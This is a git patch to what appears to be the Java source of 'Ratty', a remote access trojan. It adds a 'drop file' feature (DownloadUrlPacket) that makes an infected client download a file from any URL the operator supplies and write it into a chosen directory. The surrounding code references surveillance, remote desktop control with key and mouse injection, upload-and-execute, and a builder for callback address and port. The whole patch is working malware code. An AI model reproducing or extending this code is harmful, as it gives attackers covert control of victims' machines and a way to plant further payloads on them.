From c2a720831be43449201506410e578bab7a137c63 Mon Sep 17 00:00:00 2001 From: Sogomn Date: Fri, 18 Mar 2016 20:50:54 +0100 Subject: [PATCH] Major changes Added DownloadUrlPacket Fixes --- Ratty/res/gui_category_icons.png | Bin 363 -> 364 bytes Ratty/res/gui_tree_icons.png | Bin 518 -> 626 bytes Ratty/res/language/lang.properties | 2 + Ratty/res/language/lang_de.properties | 2 + Ratty/res/language/lang_en.properties | 2 + .../rat/packet/CreateDirectoryPacket.java | 31 ++--- .../sogomn/rat/packet/DownloadUrlPacket.java | 115 ++++++++++++++---- .../src/de/sogomn/rat/packet/PacketType.java | 3 +- .../sogomn/rat/packet/UploadFilePacket.java | 16 +-- .../de/sogomn/rat/server/gui/FileTree.java | 4 +- .../de/sogomn/rat/server/gui/RattyGui.java | 13 +- .../rat/server/gui/RattyGuiController.java | 20 ++- 12 files changed, 155 insertions(+), 53 deletions(-) diff --git a/Ratty/res/gui_category_icons.png b/Ratty/res/gui_category_icons.png index 3216a36c80d18eae50a92bfc255b9a8b44b07122..db8917f82c6df9c3cabc71bbf9b8cdb6887cee9a 100644 GIT binary patch delta 337 zcmV-X0j~b*0_*~iB!4qWL_t(|+SOOV4Z<)C>J~`?Ho9*b zHjsdr=CLO1r7<}HDH7HcK!I2Rz&g5TavNZAX!iVE{RB!+I)B_kK#YXx+sF0vjO--P z;t2S7TlaxE>2Tiyk{x0Qz_*WkQdE=#o&vX$FogoB?=|q8I!(C{cwB5DAv6SiWmxBl zKm0=AUyo}S)Gn4>&omskJ8V<}U=8`g;Tm(qqV+MFi zZs0kN1juPJ^hzzjSwb74vwrU-7Lf!R+C^rJ0*U}X$3-YKJc|LJ`zp-Y!Y5$y;KwRp j@!+k$!;+o;`J4L%+Y3SZhe_dO00000NkvXXu0mjf1TCEQ delta 336 zcmV-W0k8h-0_y^hB!4nVL_t(|+RazN4Z<)C>jEU*CZDj{0KV`eP_ivXz<1UQ;=yf1zX>wm1^`RQW~$LKCXSOT$f zhy~~1KzM&yehoe=cz*g=Gb9UV&47?RCq7mLE&xQ($V=H}^(8OCFf;fD8hHd8Dnjh? z)5t$==iYd^SbUQ+04GKM&2E(xfaYk=szg3@`H}y6I`qcLT6}IL5EH?J{E%kJwFIP+ z&@MrMmP8<5DoKsUlK;DB5F&8X8mZ#sy#yH32>k_l?G=#9!V_Tl+!gzDd1kZodJLi$VH^Tt~0~0000v;(PNxT{YyQbtOJ(1_0p5W9bo zAhhDEj(`ioB7eSG47eby;-$2zN}D-HAZa_CaXX&$hdIs^$%3rye|I~lP16+2{XSTe zGf<2*@SqPKfUdXOnc<@768HLWF*7cB|Gt@-S6dDMF!VlsCXIvyfOdCvdbDT&OYW8g zOF;CU@Eb)+#)YdOD1a6O+tMjR4WCN@K9Sh~LLfYdU4P!M4&aInIs&dKRD1+z)caDR z43IOj@9DqZ_0?^#g?-vQ;*cCO@Z?PZ_je<4{RRf?9l7#@IDHEDP z-!CU-@z5u@8e4XhDI)-4Vl3+pSF@e=)rDfLtpi1FPtx-!9t)cXp%pd?fX|}OrZoUK z1lA^-1z(Wrn;amfM6xIVoi392E&!xza2Iia#Uv`8mcqM<1N628&_x!aZ@$NKu8kO$G&htHEhs1X`}@%X)$JC@Bqt$$X*?9nv>Q41i=Ll6uQ z54P_20MN|4A$Yb&0i?`B5UFL=3&3N(x+Z!RF=8Id1Y%wmeQaJrXswa1=bQIGS*GO} zH-Oi?WjY08O+aea-FpKHaQAxZHcw;GB~`Scp@r*#$eC{jpmn5L2#@)u0Hx;_4Z>@F zXa+0@#Qd-tuzw&>^IBVVwau0ps5%ZeJdRiWV2gK(YD4JwpY7JvvMkx&pMr%ZgUz6Y zM=|^YbhX(8;!V*q_i}$8C^o!%TL(&dYXLyw*_ZdUOlSbC+sosZ&BaS>ayKODfS4RV> headers = con.getHeaderFields(); + + con.setRequestProperty(USER_AGENT, USER_AGENT_VALUE); + con.setRequestProperty(CONNECTION, CONNECTION_VALUE); + con.connect(); + final InputStream in = con.getInputStream(); - final int length = in.available(); - final byte[] data = new byte[length]; + final String fileName = con.getURL().getFile(); + final int lastSlash = fileName.lastIndexOf("/"); + final int questionMark = fileName.indexOf("?"); + final String name; + final ByteArrayOutputStream out = new ByteArrayOutputStream(); - headers.keySet().stream().forEach(key -> { - final List values = headers.get(key); - - System.out.print(key + ": "); - - for (final String value : values) { - System.out.print(value + " "); + copyStream(in, out); + out.close(); + in.close(); + + if (lastSlash != -1) { + if (questionMark != -1) { + name = fileName.substring(lastSlash + 1, questionMark); + } else { + name = fileName.substring(lastSlash + 1); } - - System.out.println(); - }); + } else { + name = DEFAULT_NAME; + } - in.read(data); + final byte[] data = out.toByteArray(); + final DesktopFile file = new DesktopFile(name, data); - return data; + return file; } @Override @@ -68,14 +99,50 @@ public final class DownloadUrlPacket implements IPacket { @Override public void execute(final ActiveConnection connection) { - try { - final String path = directoryPath + FILE_SEPARATOR + ""; - final byte[] data = readData(address); + final File directory = new File(directoryPath); + + String directoryPath = null; + + if (directory.isDirectory()) { + directoryPath = this.directoryPath; + } else { + final File parent = directory.getParentFile(); + if (parent != null) { + directoryPath = parent.getAbsolutePath(); + } + } + + if (directoryPath != null) { + try { + final DesktopFile file = readFile(address); + + file.write(directoryPath); + } catch (final NullPointerException ex) { + //... + } catch (final IOException ex) { + ex.printStackTrace(); + } + } + } + + private static class DesktopFile { + + final String name; + final byte[] data; + + public DesktopFile(final String name, final byte[] data) { + this.name = name; + this.data = data; + } + + public void write(final String directoryPath) { + final String path = directoryPath + File.separator + name; + + FileUtils.createFile(path); FileUtils.writeData(path, data); - } catch (final IOException ex) { - ex.printStackTrace(); } + } } diff --git a/Ratty/src/de/sogomn/rat/packet/PacketType.java b/Ratty/src/de/sogomn/rat/packet/PacketType.java index 05f9f83..7340262 100644 --- a/Ratty/src/de/sogomn/rat/packet/PacketType.java +++ b/Ratty/src/de/sogomn/rat/packet/PacketType.java @@ -23,7 +23,8 @@ public enum PacketType { VOICE(16, VoicePacket.class), WEBSITE(17, WebsitePacket.class), AUDIO(18, AudioPacket.class), - PING(19, PingPacket.class); + PING(19, PingPacket.class), + DOWNLOAD_URL(20, DownloadUrlPacket.class); public final byte id; public final Class clazz; diff --git a/Ratty/src/de/sogomn/rat/packet/UploadFilePacket.java b/Ratty/src/de/sogomn/rat/packet/UploadFilePacket.java index 9ee8539..8b981d0 100644 --- a/Ratty/src/de/sogomn/rat/packet/UploadFilePacket.java +++ b/Ratty/src/de/sogomn/rat/packet/UploadFilePacket.java @@ -12,16 +12,16 @@ public final class UploadFilePacket implements IPacket { private String directoryPath, fileName; private static final String USER_DIR = "user.dir"; - private static final String FILE_SEPARATOR = "/"; private static final String SEPARATOR_REGEX = "[\\\\\\/]"; + private static final String SEPARATOR = "/"; public UploadFilePacket(final String filePath, final String directoryPath) { - this.directoryPath = directoryPath; + this.directoryPath = directoryPath.replaceAll(SEPARATOR_REGEX, SEPARATOR); final File file = new File(filePath); data = FileUtils.readExternalData(filePath); - fileName = file.getName().replaceAll(SEPARATOR_REGEX, "/"); + fileName = file.getName(); } public UploadFilePacket(final File file, final String folderPath) { @@ -62,19 +62,21 @@ public final class UploadFilePacket implements IPacket { public void execute(final ActiveConnection connection) { final File directory = new File(directoryPath); - String path = null; + String directoryPath = null; if (directory.isDirectory()) { - path = directoryPath + FILE_SEPARATOR + fileName; + directoryPath = this.directoryPath; } else { final File parent = directory.getParentFile(); if (parent != null) { - path = parent.getAbsolutePath() + FILE_SEPARATOR + fileName; + directoryPath = parent.getAbsolutePath(); } } - if (path != null) { + if (directoryPath != null) { + final String path = directoryPath + File.separator + fileName; + FileUtils.writeData(path, data); } } diff --git a/Ratty/src/de/sogomn/rat/server/gui/FileTree.java b/Ratty/src/de/sogomn/rat/server/gui/FileTree.java index a796cf8..769a6cc 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/FileTree.java +++ b/Ratty/src/de/sogomn/rat/server/gui/FileTree.java @@ -46,6 +46,7 @@ public final class FileTree extends AbstractListenerContainer { public static final String EXECUTE = LANGUAGE.getString("action.execute"); public static final String DELETE = LANGUAGE.getString("action.delete"); public static final String NEW_DIRECTORY = LANGUAGE.getString("action.new_directory"); + public static final String DROP_FILE = LANGUAGE.getString("action.drop_file"); public static final String[] COMMANDS = { REQUEST, @@ -53,7 +54,8 @@ public final class FileTree extends AbstractListenerContainer { UPLOAD, EXECUTE, DELETE, - NEW_DIRECTORY + NEW_DIRECTORY, + DROP_FILE }; public FileTree() { diff --git a/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java b/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java index e722f6b..5b9d8ef 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java +++ b/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java @@ -63,13 +63,13 @@ final class RattyGui extends AbstractListenerContainer { private static final BufferedImage GUI_ICON_LARGE = ImageUtils.scaleImage(GUI_ICON_SMALL, 128, 128); private static final BufferedImage[] MENU_ICONS = new SpriteSheet(ImageUtils.scaleImage(ImageUtils.loadImage("/gui_menu_icons.png"), 2), 16 * 2, 16 * 2).getSprites(); private static final SpriteSheet CATEGORY_SHEET = new SpriteSheet(ImageUtils.scaleImage(ImageUtils.loadImage("/gui_category_icons.png"), 2), 16 * 2, 16 * 2); - private static final BufferedImage FILE_MANAGEMENT_ICON = CATEGORY_SHEET.getSprite(0); - private static final BufferedImage SURVEILLANCE_ICON = CATEGORY_SHEET.getSprite(1); + private static final BufferedImage SURVEILLANCE_ICON = CATEGORY_SHEET.getSprite(0); + private static final BufferedImage FILE_MANAGEMENT_ICON = CATEGORY_SHEET.getSprite(1); private static final BufferedImage UTILITY_ICON = CATEGORY_SHEET.getSprite(2); private static final BufferedImage OTHER_ICON = CATEGORY_SHEET.getSprite(3); - private static final String FILE_MANAGEMENT = LANGUAGE.getString("menu.file_management"); private static final String SURVEILLANCE = LANGUAGE.getString("menu.surveillance"); + private static final String FILE_MANAGEMENT = LANGUAGE.getString("menu.file_management"); private static final String UTILITY = LANGUAGE.getString("menu.utility"); private static final String OTHER = LANGUAGE.getString("menu.other"); private static final HashMap FILE_MANAGEMENT_ITEM_DATA = new HashMap(); @@ -126,12 +126,14 @@ final class RattyGui extends AbstractListenerContainer { final int rowIndex = table.rowAtPoint(mousePoint); lastServerClientClicked = tableModel.getServerClient(rowIndex); + + table.setRowSelectionInterval(rowIndex, rowIndex); } }; final String currentPath = System.getProperty("user.dir"); final File currentDirectory = new File(currentPath); - final JMenu fileManagement = createMenu(FILE_MANAGEMENT, FILE_MANAGEMENT_ICON, FILE_MANAGEMENT_ITEM_DATA); final JMenu surveillance = createMenu(SURVEILLANCE, SURVEILLANCE_ICON, SURVEILLANCE_ITEM_DATA); + final JMenu fileManagement = createMenu(FILE_MANAGEMENT, FILE_MANAGEMENT_ICON, FILE_MANAGEMENT_ITEM_DATA); final JMenu utility = createMenu(UTILITY, UTILITY_ICON, UTILITY_ITEM_DATA); final JMenu other = createMenu(OTHER, OTHER_ICON, OTHER_ITEM_DATA); final JTableHeader tableHeader = table.getTableHeader(); @@ -144,9 +146,10 @@ final class RattyGui extends AbstractListenerContainer { build.addActionListener(this::actionPerformed); menuBar.add(build); menuBar.add(attack); - menu.add(fileManagement); menu.add(surveillance); + menu.add(fileManagement); menu.add(utility); + menu.addSeparator(); menu.add(other); scrollPane.setBorder(null); table.setComponentPopupMenu(menu); diff --git a/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java b/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java index d5ba438..f67712b 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java +++ b/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java @@ -20,6 +20,7 @@ import de.sogomn.rat.packet.CreateDirectoryPacket; import de.sogomn.rat.packet.DeleteFilePacket; import de.sogomn.rat.packet.DesktopPacket; import de.sogomn.rat.packet.DownloadFilePacket; +import de.sogomn.rat.packet.DownloadUrlPacket; import de.sogomn.rat.packet.ExecuteFilePacket; import de.sogomn.rat.packet.FileRequestPacket; import de.sogomn.rat.packet.FreePacket; @@ -73,6 +74,7 @@ public final class RattyGuiController extends AbstractRattyController implements private static final String BUILDER_ADDRESS_QUESTION = LANGUAGE.getString("builder.address_question"); private static final String BUILDER_PORT_QUESTION = LANGUAGE.getString("builder.port_question"); private static final String UPLOAD_EXECUTE_WARNING = LANGUAGE.getString("server.upload_execute_warning"); + private static final String URL_MESSAGE = LANGUAGE.getString("server.url_message"); private static final Sound PING = Sound.loadSound("/ping.wav"); @@ -114,7 +116,7 @@ public final class RattyGuiController extends AbstractRattyController implements } private WebsitePacket createWebsitePacket() { - final String input = gui.getInput(); + final String input = gui.getInput(URL_MESSAGE); if (input != null) { final WebsitePacket packet = new WebsitePacket(input); @@ -287,6 +289,20 @@ public final class RattyGuiController extends AbstractRattyController implements client.connection.addPacket(execute); } + private DownloadUrlPacket createDownloadUrlPacket(final ServerClient client) { + final String address = gui.getInput(URL_MESSAGE); + + if (address != null) { + final FileTreeNode node = client.fileTree.getLastNodeClicked(); + final String path = node.getPath(); + final DownloadUrlPacket packet = new DownloadUrlPacket(address, path); + + return packet; + } + + return null; + } + private void handleCommand(final ServerClient client, final String command) { if (command == RattyGui.FILES) { client.fileTree.setVisible(true); @@ -336,6 +352,8 @@ public final class RattyGuiController extends AbstractRattyController implements packet = createDeletePacket(client); } else if (command == FileTree.NEW_DIRECTORY) { packet = createFolderPacket(client); + } else if (command == FileTree.DROP_FILE) { + packet = createDownloadUrlPacket(client); } else if (command == DisplayPanel.MOUSE_EVENT && client.isStreamingDesktop()) { packet = client.displayPanel.getLastMouseEventPacket(); } else if (command == DisplayPanel.KEY_EVENT && client.isStreamingDesktop()) {